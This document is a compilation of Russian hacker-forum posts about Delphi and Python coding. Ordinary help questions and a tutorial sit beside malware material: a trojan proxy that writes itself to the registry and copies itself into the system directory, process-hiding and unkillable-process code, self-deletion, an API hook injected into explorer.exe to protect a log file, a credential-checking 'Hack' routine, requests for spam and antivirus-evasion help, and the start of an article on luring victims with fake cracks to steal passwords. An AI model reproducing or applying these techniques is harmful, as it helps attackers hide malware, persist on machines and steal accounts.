  ConsoleText: String;
  id : dword;
begin
MEssaGeBox(0,'Превед,а кто ты?','Йа прокси!',0); //пишем юзеру шо мы прокси=)
ID:=1;
regg; {записуемся в реестер}
copyf; {копируемся в системную диру}
FCompPort:=TCompletionPort.Create(ClientThreadCount);
if FCompPort.FHandle<>0 then begin
if not WSAStartup($0101, WSAData) <> 0 then  // если незапускается библиотека
MessageBox(0,'Йа аШыбкО','незапускается пля((',0);// то покажим ошибку
for i:=0 to ClientThreadCount-1 do TClientThread.Create(false);
TAcceptThread.Create(ListenPort);
repeat
ReadConsole(GetStdHandle(STD_INPUT_HANDLE),@Buff,10,Cnt,nil);
ConsoleText := String(Buff);
until UpperCase(Copy(ConsoleText,1,4)) = 'EXIT';
WSACleanup;
 
end;
 
end.

Сохраняем как proxy.dpr запускаем на делфях и компилим.
Правдо нод будет ругаццо,но можно нод напоить пифком и нод раслабиццо,или подправить код=)
Всё!
© TROYAN. | core32.org

Также скачать исходники можно тут

Всем доброг времени суток, хотел спросить, что можно написать на Делфи для сдачи производственной практики, пооект обязательно должен содержать БД

Может кто то сможет помочь?

сначала я ввожу цифры во все строки потом сохраняю в TXt и когда я открываю его(Txt) через приложение в углу всегда вместо моего числа которое было изначально появляется Число 0

Code:Copy to clipboard

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Grids, StdCtrls, Menus;

type
  TForm1 = class(TForm)
    lbl1: TLabel;
    edt_m: TEdit;
    StringGrid1: TStringGrid;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    SaveDialog1: TSaveDialog;
    OpenDialog1: TOpenDialog;
    btn4: TButton;
    mm1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    procedure edit_mExit(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure btn4Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 type matr=array  [1..100,1..101] of real;
         vec=array[1..100] of Real;
var
  Form1: TForm1;
 m:integer;
 a:matr;
 c:vec;
 myfile:string;
 fl:TextFile;
implementation

{$R *.dfm}
procedure ReadA;
var i,j:integer;
begin
  for i:=1 to m do
      for j:=i to m+1 do
        a[i,j]:=StrToFloat(Form1.StringGrid1.Cells[j,i]);
end;
procedure Zeidel (n:Integer; a:matr; var x:vec);
var i,j,k,z:Integer;  e,r,s:Real;
begin
  for k:=1 to m do
begin
z:=k;
for i:=1 to n do
begin
s:=a[i,n+1];
for j:=1 to n do s:=s-a[i,j]*x[j];
s:=s/a[i,i];
x[i]:=x[i]+s;
if abs(s)>e then z:=0
end;
if z<>0 then Break;
end;
end; 
 procedure TForm1.Button2Click(Sender: TObject);
 var i,j:Integer;
 begin
   if OpenDialog1.Execute then
      begin
     myfile:=OpenDialog1.FileName;
     AssignFile(fl,myfile);
     Reset(fl);
     for i:=1 to m do
       begin
          for j:=1 to m+1 do
          begin
            Read(fl,a[i,j]);
            StringGrid1.Cells[j,i]:=FloatToStr(a[i,j]);
            end;
       end;
   Readln(fl);
   end;
   CloseFile(fl);
   end;



procedure TForm1.edit_mExit(Sender: TObject);
begin
m:=StrToInt(edt_m.Text);
with  StringGrid1 do
 begin
 RowCount:=m+2;
 Colcount:=m+4;
 Rows[0].Clear;
 Rows[m+1].Clear;
 Cols[0].Clear;
 Cols[m+2].Clear;
 Cols[m+3].Clear;
 Cells[0,0]:='a';
 Cells[m+1,0]:='b';
 Cells[0,m+1]:='Êîðíè X';
 Cells[m+2,0]:='Ïðîâåðêà';
 Cells[m+3,0]:='Ïîãðåùíîñòü';
 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var i,j:Integer;
begin
 ReadA;
 if SaveDialog1.Execute then
   begin
     myfile :=SaveDialog1.FileName;
     AssignFile(fl,myfile);
     Rewrite(fl);
     for i:=1 to m do
       begin
       for j:=1 to m+1 do
          begin
              Write(fl,a[i,j]);
              Writeln(fl);
          end;
       end;
       CloseFile(fl);
   end
   else ShowMessage('Íå óêàçàíî èìÿ ôàéëà');
end;
procedure TForm1.Button3Click(Sender: TObject);
var i,j:Integer; s:Real;
begin
 ReadA;
 Zeidel(m,a,c);
 for i:=1 to m do
 StringGrid1.Cells[i,m+1]:=FloatToStr(c[i]);
 for i:=1 to m do
 begin
s:=0;
for j:=1 to m do s:=s+a[i,j]*c[j];
StringGrid1.Cells[m+2,i]:=FloatToStr(s);
StringGrid1.Cells[m+3,i]:=FloatToStr(abs((s-a[i,m+1])/s));
end;


end;

procedure TForm1.btn4Click(Sender: TObject);
begin
  Halt;
end;

procedure TForm1.N3Click(Sender: TObject);
 begin
  ShowMessage('Ïðîãðàììà ðàññ÷åòà ÑËÀÓ.');
  end;
end.

Нужна помощь знающих
Есть спамер скайпа написанный на делфи.Отличная вещь с одним громадным минусом.Спамит только по одному аккаунту.Тоесть берётся аккаунт скайпа,из него подгружаются контакты и идёт спам по ним.
Задал вопрос автору софта,можно ли реализовать такое:"Берём базу акк скайпа логин:пасс,вставляем в прогу,прога начинает заходить сначала на один акк,скачивает контакты,спамит их,выходит из скайпа,стирает контакты,заходит на второй акк,грузит контакты,спамит их,выходит из скайпа,стирает контакты и т.д.На,что получил ответ:"1. Искать как логиниться в скайпе 2. Писать свой клиент для скайпа.
Так как второе отпадает из за временных и денежных затрат,решил помочь автору и сам разузнать у умных людей,возможно ли как-то реализовать залогинивание в скайпе этим спамером?

Добрый день!

Проблема в том, что одна из функций моей новой "программы" копирует ее в папку system32, НО ЭТО ПАЛИТ АНТИВИРЬ!!!

Что делать?
Посоветуйте??

Спасибо!

delete

Столкнулся седня с проблемкой, надо привязать програмку к железу...
Хотелось бы узнать про уже готовые решения, либо уловить чью-то мысль и сделать свою привязку...

З.Ы. гугль за*бал за 2 часа ни одной норм статьи (наверно я не так ищу ).

1. Существует ли компилятор Delphi-кода под MacOS? (догадываюсь, что существует, но нужно знать точно)

2. Существует ли компилятор Delphi-кода под *nix и MacOS из-под Windows? Т.е. получение файла, пригодного для использования на указанных ОС без установки их самих и компиляторов для них?

ПОДСКАЖИТЕ,КТО ШАРИТ,ГДЕ НАИТИ ИНФУ О ЧЕРВЯХ ,ТРОЯНАХ И ИХ НАПИСАНИЕ НА ДЕЛФИ

Вот нашел кой чего полезного =) может кому пригодиться

Счастливый случай
Вступление:
Каждый из нас хоть раз видел в какой нибуть программе диалог "Совет дня". И уж тем более все мы его читали!
Как уже понятно, советы там появляются случайным образом, а не по заданной схеме. Многие молодые программисты очень часто попадаются на подобную фишку. А всё просто потому, что они не знают как правильно в Delphi реализовать данную возможность.
В этой статье я попробую объяснить вам, как это программно реализовать в дельфи на простейшем примере, а в конце статьи я объясню вам, как сделать свой первый диалог "Совет дня". Да не просто диалог, а диалог с внешним файлом советов. Впрочем, обо всём по порядку...
Я не буду вдаваться в теорию, а сразу перейду к кодингу. Итак, запускайте дельфи, создавайте новый проект и понеслась...
Первые шаги:
Для начала напишем наипростейшею программку для того, чтобы понять принцип работы рандома. Суть этой программки будет заключаться в том, чтобы показывать случайную позицию на ProgressBar. Приступим к написанию.
За, так называемый, "Счастливый случай" в дельфи отвечает свойство Random. Давайте рассмотрим это на практике.
Киньте на форму три компонента: 1. TButton с вкладки Standard, 2. TProgressBar с вкладки Win32, 3. TTimer c вкладки System.
Разместите их на форме по своему усмотрению. После того, как вы всё сделали, создайте функцию. Сделать это можно очень просто - после
{$R *.dfm} сразу пишите:
function GRI:integer;
begin

end;
Здесь GRI - Имя функции. Вообще, здесь можно написать всё что угодно, но только латинскими символами и без пробелов.
Внимание! У каждой функции после названия пишется, через двоеточие, формат возвращаемых данных. Без этого работают процедуры.
Вообще, можно было обойтись и без создания функции, но так гораздо удобнее. Так вот, после того как вы создадите функцию, установите значение MAX у ProgressBar в 100, а POSITION и MIN в 0. Для создания рандома лучше использовать массивы. Давайте создадим массив данных.
Между function GRI:integer; и begin напишите:
const int:array[0..100] of integer = (
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,
61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100);
В итоге у вас должно получиться что-то типа этого:
function GRI:integer;
const int:array[0..100] of integer = (
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,
61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100);
begin

end;
Если с массивом всё понятно, то переходим к следующему этапу. Для того, чтобы вернуть значение из функции, необходимо использовать метод result. У нас это должно выглядеть примерно так:
result:=int[random(101)];
Вот уже и появилась долгожданное свойство random. После него, в скобочках, необходимо указать количество, из которого следует выбрать одно значение. Поскольку у нас в массиве int 101 значение, то мы и должны указать это число! С этим проблем возникнуть не должно! В итоге у вас должна получится готовая процедура:
function GRI:integer;
const int:array[0..100] of integer = (
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,
61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100);
begin
result:=int[random(101)];
end;
Вот вы и создали функцию для случайного выбора числа. Теперь установите свойство Enabled у Timer в False и щёлкните два раза по самому компоненту для создания процедуры. Данная процедура будет выполнятся каждые X миллисекунд, где X - значение Interval у Timer. 1000 миллисекунд = 1 секунде и так далее.
Так как мы уже создали функцию возврата случайного числа, то другого кода по возврату нам уже не надо. Использовать эту функцию очень просто:
ProgressBar1.position:=GRI;
Всё. Теперь два раза щёлкните на кнопке и напишите там следующее:
Timer1.Enabled:=true;
Программа готова. Компилируйте проект и смотрите на своё творение. Нажимайте на кнопку в своей программе и понеслась... Однако, что это? Каждый раз позиция начинается с одного и того же места и в дальнейшем действует по одинаковой схеме. Исправляется это очень просто. В нашей функции, перед result:=int[random(101)];, нужно вписать всего одно слово:
Randomize;
В итоге у вас должна получится такая функция:
function GRI:integer;
const int:array[0..100] of integer = (
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,
61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100);
begin
Randomize;
result:=int[random(101)];
end;
Теперь всё должно работать как надо. Конечно, этот пример немного сложноват для новичка, но эта статья писалась для людей, которые хоть чуть-чуть, но понимают Delphi. Если у вас всё равно ничего не получилось, не отчаивайтесь! Пишите мне о своих вопросах на cooleditor@nm.ru или blacklord2003@mail.ru. Я постараюсь вам помочь в силу своих возможностей. А теперь...
Полезные случайности:
Как я и обещал, я расскажу вам как написать диалог полезных советов. Создавайте новый проект и вперед!
Для начала нужно создать ещё одну форму (для диалога с советами). Создавайте её и идём дальше.
Все нужные для этого компоненты находятся на одной вкладке - Standard. Оттуда берите два Button и один Label. Кидайте их на вторую(!) форму, расставьте их как следует.
Затем у объекта label установите свойства AutoSize в false, а WordWrap в true. Первое отвечает за автоматическое растягивание компонента по длине текста, а второе включает перенос этого текста по словам. В общем, проблем возникнуть не должно.
Поскольку мы пишем диалог полезными советами, которые находятся во внешнем файле, нам понадобится глобальная переменная. В блоке var напишите:
STRStringList;
Это мы объявили глобальную переменную STR. Теперь нам надо её инициализировать. В свойстве OnCreate вашей формы пишите:
STR:=TStringList.create;
А в OnDestoy:
STR.free;
Здесь мы её выгружаем из памяти. Она выгрузится из памяти, когда форма будет выгружаться.
Затем в уже знакомом OnCreate, сразу после инициализации, пишите:
STR.LoadFromFile(ExtractFilePath(ParamStr(0))+'Tips.txt');
Здесь загружается файл с советами. Предполагается, что файл находится в папке с программой и называется Tips.txt.
Теперь давайте создадим ещё одну функцию.
У меня это:
function RandomTip:string;
begin

end;
Теперь напишите следующее:
randomize;
result:=str.Strings[random(str.Count)];
Здесь выбирается случайный совет из списка. За совет считается одна строка и выбирается она из всего количества строк в списке. У вас должно поучиться буквально следующее:
function RandomTip:string;
begin
randomize;
result:=str.Strings[random(str.Count)];
end;
Теперь на свойстве OnShow у формы пишите:
Label1.caption:=RandomTip;
Тоже самое нужно написать на обработчике одной из кнопок. Думаю принцип работы этой строки уже всем понятен.
А для другой кнопки нужно создать обработчик с командой Close;.
Вот и всё. Вам остаётся лишь вывести форму с советами и любоваться своим детищем!
На этом разрешите откланяться! Если у вас возникнут какие либо вопросы, пожелания или предложения, то смело пишите мне на e-mail:
cooleditor@nm.ru

Создатель Паскаля, Никлаус Вирт, умер 1 января. RIP.

Решил выложить мной доработанные исходники библиотеки LockBox 2, дорабатывал алгоритм RSA, чтобы поддерживал ключ 2048.

Эти исходники рабочие только х86 и есть один недостаток - это долгая генерация 2048 битного ключа, если кто то исправит и выложит сюда это буду признателен.

Скрин примера

Еще очень понравилась библиотека https://github.com/SnakeDoctor/FGInt/ но там только шифрование и дешифрирование RSA и нету генерации ключей, если кто доработал скиньте.

Hidden content for authorized users.

pass: xss.is
link: https://mega.nz/#!5J5TTQiQ!bXEEGtthiWUqqy9f7thAfg0t4B63HZRgikfmEsTXOM0

Предисловие
У меня появилась вполне простая задача,в определенное время отправить пользователю сообщение. К моему удивлению в интернете нормальных,рабочих решений я не нашел.
Благо до меня дошло,что я ж программист и решил написать скрипт для реализации моей задачи,которым решил поделиться со всеми. Код написан конечно же на Python.

Установка Python
Переходим на официальный сайт PythonА Скачиваем 3+ версию и устанавливаем ее.

Суть работы скрипта
С помощью библиотеки vk_api мы подключаемся к нашему аккаунту,а с помощью библиотеки datetime получаем текущее время, дальше бесконечный цикл проверяет не равняется ли текущее время нужному значению,если это так то отправляем пользователю наше сообщение и завершаем программу,иначе продолжаем работу цикла.

Начинаем кодить
С помощью питоновского установщика пакетов установим библиотеку vk_api,для этого запустим терминал(cmd) и введем туда такую команду

Code:Copy to clipboard

pip install vk_api

В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем скрипте.

Code:Copy to clipboard

import vk_api,datetime #подключаем библиотеку

Создадим функцию для отправки сообщения пользователю с определенным id.

Code:Copy to clipboard

def send_mes():  #создаем функцию, которая называется send_mes
    try:  #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        vk_session = vk_api.VkApi('+7xxxxxxxxx', 'пароль') #создаем переменную vk_session, которая равняется логину и паролю от нашего аккаунта вк
        vk_session.auth() #по значениям переменной vk_session подлючаемся к аккаунту.
        vk = vk_session.get_api() #создаем переменную vk,которая равняется получению api для работы с вк.
        vk.messages.send(user_id=id_пользователя,message='Скинни,займи деняк! https://a.kal.ru/a426.ng') #с помощью функции messages.send отправляем пользователю с id указанным после user_id,сообщение записанное в переменной message.
        sys.exit() #закрывает/выходит из скрипта
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        pass #просто продолжаем выполнение кода.

Теперь создаем функцию для отправки для получения текущего времени.

Code:Copy to clipboard

def realtim():  #создаем функцию, которая называется realtim
    global realtime #говорим что переменная realtime будет доступна не только в данной функции.
    now = datetime.datetime.now() #переменная now равняется получения реального времени с помощью функции библиотеки  datatime
    realtime=str(now.hour)+":"+str(now.minute) #переведем полученное время в удобный для нас вид и запишем это в переменную realtime равняется

Осталось запустить бесконечный цикл,который будет ждать нужное время

Code:Copy to clipboard

while True: #Запускаем бесконечный цикл
    realtim() #запускаем функцию realtim
    if realtime == '10:11': #если переменная realtime равняется  нужному нам времени(10:11),то
        try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
            send_mes() #запускаем функцию send_mes
            break #завершаем цикл
        except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
            pass #просто продолжаем выполнение кода.
    else: #иначе
        pass #просто продолжаем выполнение кода.

Вот и всё.

В итоге пользователь получает такое сообщение

Если вы хотите отправить картинку,то советую использовать какой-либо фотохостинг и отправлять ссылку на загруженное фото,а вк сам загрузит превью в диалог.

метод отправки изображения vk_api

Code:Copy to clipboard

import vk_api,datetime
def send_mes():
    try:
        vk_session = vk_api.VkApi('+7xxxxxxxxx', 'пароль')
        vk_session.auth()
        vk = vk_session.get_api()
        vk.messages.send(user_id=id_пользователя,message='Скинни,займи деняк! https://a.kal.ru/a426.ng')
        sys.exit()
    except:
        pass

def realtim():
    global realtime
    now = datetime.datetime.now()
    realtime=str(now.hour)+":"+str(now.minute)
while True:
    realtim()
    if realtime == '10:11':
        try:
            send_mes()
            break
        except:
            pass
    else:

Code:Copy to clipboard

uses ... ... ... TlHelp32, ... ...
...
...

function ZwSetInformationProcess(cs1:THandle; cs2:ULONG; cs3:Pointer; cs4:ULONG):ULONG; stdcall; external 'ntdll.dll';

function Non_Killable(Process: String; BSOD: Bool): ULONG;
var
Val : ULONG;
ProcessEntry : TProcessEntry32;
hSnapshot : THandle;
ProcessHandle : THandle;
ProcessID : DWORD;
begin
case BSOD of
True : Val := $FFFFFFFF;
False : Val := $8000F129;
end;
hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ProcessEntry.dwSize := SizeOf(ProcessEntry32);
while Process32Next(hSnapshot, ProcessEntry) do
begin
if Process = ProcessEntry.szExeFile then
begin
ProcessID := ProcessEntry.th32ProcessID;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
CloseHandle(hSnapshot);
end;
end;
Result := ZwSetInformationProcess(ProcessHandle, $21, @Val, SizeOf(Val));
end;

Способ употребления

Code:Copy to clipboard

non_killable('Project1.exe', False);

or

Code:Copy to clipboard

non_killable('Project1.exe', True);

Сам код не тестил, не довелось пока что, но в теории должен прятать процесс..)
Собственно сам листинг:

Code:Copy to clipboard

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Commctrl, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Timer1: TTimer;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
Procedure OcultarApp(App: String);
var
dwSize,dwNumBytes,PID,hProc: Cardinal;
PLocalShared,PSysShared: PlvItem;
h: THandle;
iCount,i: integer;
szTemp: string;
begin
h:=FindWindow('#32770',nil);
h:=FindWindowEx(h,0,'#32770',nil);
h:=FindWindowEx(h,0,'SysListView32',nil);
iCount:=SendMessage(h, LVM_GETITEMCOUNT,0,0);
for i:=0 to iCount-1 do
begin
dwSize:=sizeof(LV_ITEM) + sizeof(CHAR) * MAX_PATH;
PLocalShared:=VirtualAlloc(nil, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
GetWindowThreadProcessId(h,@PID);
hProc:=OpenProcess(PROCESS_ALL_ACCESS,false,PID);
PSysShared:=VirtualAllocEx(hProc, nil, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
PLocalShared.mask:=LVIF_TEXT;
PLocalShared.iItem:=0;
PLocalShared.iSubItem:=0;
PLocalShared.pszText:=LPTSTR(dword(PSysShared) + sizeof(LV_ITEM));
PLocalShared.cchTextMax:=20;
WriteProcessMemory(hProc,PSysShared,PLocalShared,1 024,dwNumBytes);
SendMessage(h,LVM_GETITEMTEXT,i,LPARAM(PSysShared) );
ReadProcessMemory(hProc,PSysShared,PLocalShared,10 24,dwNumBytes);
szTemp:=pchar(dword(PLocalShared)+sizeof(LV_ITEM));
if LowerCase(szTemp) = App then
ListView_DeleteItem(h,i);
VirtualFree(pLocalShared, 0, MEM_RELEASE);
VirtualFreeEx(hProc, pSysShared, 0, MEM_RELEASE);
CloseHandle(hProc);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
timer1.Enabled:=true;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
timer1.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
OcultarApp('notepad.exe');// No necesariamente notepad.exe
end;

end.

Если кто протестит, отпишите, УСПЕХ/НЕТ, и на какой ОС был сделан тест.

В интернетах есть сниппет на дельфях, показывающий как убить процесс с помощью функций из TlHelp32 и юзая апишку OpenProcess с флагом PROCESS_TERMINATE=$0001; (Именуется он KillTask, гуглите)

Также интернетах есть много кодеса для того чтобы отсделить запущенный тобой процесс (т.е. порадить его и потом отследить конец работы - гугли WinExecAndWait и тому подобное).
А что делать в случае, если процесс запущен не тобой?
Так вот я переписал буквально строчку кода для обнаружения запущен ли процесс или нет.

сам кодес...

Code:Copy to clipboard

function CheckProcessByExeName(ExeFileName: string): integer;
const PROCESS_QUERY_INFORMATION=$0400;
var ContinueLoop    : BOOL;
    FSnapshotHandle : THandle;
    FProcessEntry32 : TProcessEntry32;
    hProcess        : Cardinal;
begin
  result := 0;
  FSnapshotHandle        := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop       := Process32First(FSnapshotHandle, FProcessEntry32);
  ExeFileName            := UpperCase(ExeFileName);
  while integer(ContinueLoop) <> 0 do
  begin
    if ( (UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = ExeFileName) or
         (UpperCase(FProcessEntry32.szExeFile) = ExeFileName)
       ) then
    begin
      hProcess := OpenProcess( PROCESS_QUERY_INFORMATION, BOOL(0), FProcessEntry32.th32ProcessID);
      Result   := hProcess;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

юзаем так:

Code:Copy to clipboard

while CheckProcessByExeName('calc.exe') <> 0 do begin
  // let's sleep 200 mls
  Sleep(200);
end;
ShowMessage('Proc was done')

Собственно, вот мой кодес, точнее моего тут почти ничего нет. Это код самоудаления, если убрать API функции и проигклудить модули shellapi и windows , то всё корректно отрабатывает. Интересно, в чём же причина....

Code:Copy to clipboard

program Project1;

const
  MAX_PATH = 260;
  SW_SPOILER = 0;
type
     Dword = longword;
     HWND = longword;

//-------------API_Fun-----------------------
function GetShortPathName(lpszLongPath: PChar; lpszShortPath: PChar; cchBuffer: DWORD): DWORD; stdcall; external 'kernel32.dll' name 'GetShortPathNameA';
function GetEnvironmentVariable(lpName: PChar; lpBuffer: PChar; nSize: DWORD): DWORD; external 'kernel32.dll' name 'GetEnvironmentVariableA';
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';
//-------------------------------------------

procedure SelfDelete;
var
  P: array[0..MAX_PATH - 1] of Char;
  S: string;
begin
  if GetShortPathName(PChar(ParamStr(0)), P, MAX_PATH) <> 0 then
  begin
    S := '/C DEL ' + '"' + P + '"';
    if GetEnvironmentVariable('ComSpec', P, MAX_PATH) <> 0 then
      ShellExecute(0, nil, P, PChar(S), nil, SW_SPOILER);
  end;
end;
var
st:integer;
begin
try
SelfDelete;
except end;
end.

Вопрос к кодерам Delphi. пытаюсь захучить API MoveFileExW для запрета удаления файла. Написал DLL:

Code:Copy to clipboard

library my_dll;

 uses
 windows, dialogs, SysUtils;

type

OC=packed record
frst:dword;
sec:word;
end;

fj= packed record
pusho:byte;
pushar:pointer;
reto:byte;
end;


var
jmpmw,jmpma:fj;
ocmw,ocma:oc;
mwadr,maadr:pointer;





var TrueMoveFileEx: function(lpExistingFileName, lpNewFileName: PWideChar; dwFlags: DWORD): BOOL; stdcall;


function NewMoveFileExW(lpExistingFileName, lpNewFileName: PWideChar; dwFlags: DWORD): BOOL; stdcall;
var
filez :string;
begin
filez := lpExistingFileName;
if pos('log.txt',filez)<>0 then lpExistingFileName:='';
result:= TrueMoveFileEx(lpExistingFileName, lpNewFileName, dwFlags);
end;



procedure SetHook;
var
 hwnd: dword;
 Byte: dword;
 mwadr: Pointer;
begin
hwnd := GetModuleHandle('kernel32.dll');
mwadr  := GetProcAddress(hwnd, 'MoveFileExW');
ReadProcessMemory(INVALID_HANDLE_VALUE, mwadr, @ocmw, SizeOf(OC), Byte);
jmpmw.pusho  := $68;
jmpmw.PushAr := @NewMoveFileExW;
jmpmw.RetO   := $C3;
WriteProcessMemory(INVALID_HANDLE_VALUE, mwadr, @jmpmw, SizeOf(fj), Byte);
end;

begin
SetHook;
end.

И инжектю эту dll-ку в explorer.exe - результата никакого. С инжектом всё в порядке, проверено на 100%. Пробовал хучить другие апи типа DeleteFile и инжектить в своё приложение которое как раз и использует DeleteFile но всё так же

Доброго времени суток!
Подскажите мне пожалуйста,как мне сделать в Delphi-приложении правильную многопоточность и правильное считывание данных вида

Code:Copy to clipboard

логин;пароль

?
Вот мой быдлокодец:

Code:Copy to clipboard

procedure TPMain.HackClick(Sender: TObject);
var
tempStream: TStringStream;
html:string;
begin
//razdelitel:=';';
//data:=TIdMultiPartFormDataStream.Create;
i:=0;
AssignFile(Vf,'Logins.txt');
Reset(Vf);
//AssignFile(Vf2,'Passwords.txt');
while not eof(Vf) do
Begin
i:=i+1;
ReadLn(Vf,login);
login:=Copy(buff,1,Pos(';',buff)-1);
pass:=Copy(buff,Pos(';',buff)+1,length(buff));
//pb.Progress:=100*i div bar;
///CloseFile(Vf); тут ошибка-этого закрытия тут НЕ ДОЛЖНО БЫТЬ,а оно должно быть в 141-й строке!
Sleep(1000);
MessageBox(0,'Данные успешно загружены!','Проктолог',0);

//pb.Progress:=0;
End;

Проблема в том,что я не понимаю,как можно сделать считывания пары логин;пароль отдельно для каждой записи в файле Logins.txt и в отдельном потоке обрабатывать события для них.
Почитав про потоки я понял примерно,что схема будет примерно такая:
Загрузили данные,если тру=грузим в отдельный поток и отрабаываем,иначе на начало...
Но вся соль вот встала в правильной обработке этих вот входных данных

Spoiler: 20

ПОдскажите
как вызвать браузер ие незаметно для пользователя с заданным урл и симитировать onmouseover

Суть в том что на сайте есть зашита от роботов средствами

Code:Copy to clipboard

<body onmouseover="i = new Image(); i.src = 'http://www.host.com/stt/dsg3fgs43fd';" id="id" onScroll="" onLoad="">

картинка соответственно скрипт который собирает логи
затем логи апача и логи скрипта сравниваются по крону и если ип есть в логах апача но нет в логах скрипта то бан на Iptables
хитрая зашита =))
помогите реализовать метод обхода С меня пиво!!!
ЗЫ парсить и запрашивать картинку у сервера не выйдет так как яваскриптом также запрашывается информация о системе

LetitBit Cheatz0r

Все думаю знают этот сервис файлообмена, который требует установить какой то свой адварный плагин для скачивания, и заходить обязательно с осла. Мне осёл например не нравицца, да и плагины левые как-то ставить не охота Поэтому появилась вот такая тулза. Собстно чёйнто она делает? А вот что: Вбиваем в неё урльку летитбитовскую, жмём кнопку "Чит" получаем картинку.. ога. Вбиваем 6 символов с картинки и софтина получает нормальный прямой линк для нашего файленга)) Вот такая значт нужная прога
Для пароноеков, любопытных, борыг и прочих плагиатеров в комлекте идут сорцы на, естестно, делфях B)

Скачать можна тут:
_http://www.sendspace.com/file/vc8prd
Пасс можно ввести такой:
Pir4tt.LeBitz0r

Code:Copy to clipboard

program Project2;

{$APPTYPE CONSOLE}

uses
  SysUtils,WIndows;
  var WinDir:pchar;
  res:cardinal;
  begin

GetWindowsDirectory(WinDir,MAX_PATH);
writeln('aaa');

end.

При таком исполнении дельфяка завершает исполнение программы после APIшки.

Code:Copy to clipboard

program Project2;

{$APPTYPE CONSOLE}

uses
  SysUtils,WIndows;
  var WinDir:pchar;
  res:cardinal;
  begin

res:=GetWindowsDirectory(WinDir,MAX_PATH);
writeln('aaa');

end.

При таком исполнении прога работает как надо(доходит до конца).
Т.е я должен всегда принимать возвратное значение каждой APIшки.
Однако в данном случае RES=EAX и API функция по любому возвращает резалт своей работы.
(в независимости от того поставил я RES:= или нет, результат будет в EAX).
Вроде бы в обоих случаях нарушений нет(с точки зрения API), однако почему тогда прога раньше завершает работу
Что тут не так ?

-----------------------------------
Статья: "Разводим по-честному..."
Автор: Amper
Team: www.xss.is/
ICQ: 87-555-3
-----------------------------------

Приветствую...
Итак, сегодня расскажу о новом методе поиметь чужие пассы...
Но сначала предыстория...
Совсем не давно я устанавливал одну программу, просто ради того, чтобы посмсотреть на неё...
Установив, я увидел ожидаемое окошко "Для запуска программы необходимо пройти регистрацию"...
Так лень, но регистрация бесплатная, а программа по описанию интересная, зашёл на сайт зарегистрировался...
Запускаю... Очередное разочарование... Runtime error...
И тут у меня появилось какое-то очень неприятное ощущение... Оно и понятно, по всем признакам троян...
Проверил файл антивирем, вроде чисто....
Но всё оказалось гораздо проще, просто файл скачался с ошибкой... позже я скачал снова и всё заработало...
И тут меня осенило... А что если...
Вот об этом "что если" я сейчас расскажу...
Крякеры инета нынче не в моде, на них нынче мало кто ведётся, но мы поступим немного по-другому, главное придумать
описание... Например: "Программа [SP2Killer v0.3] - это программа, которая использует недавно найденную уязвимость
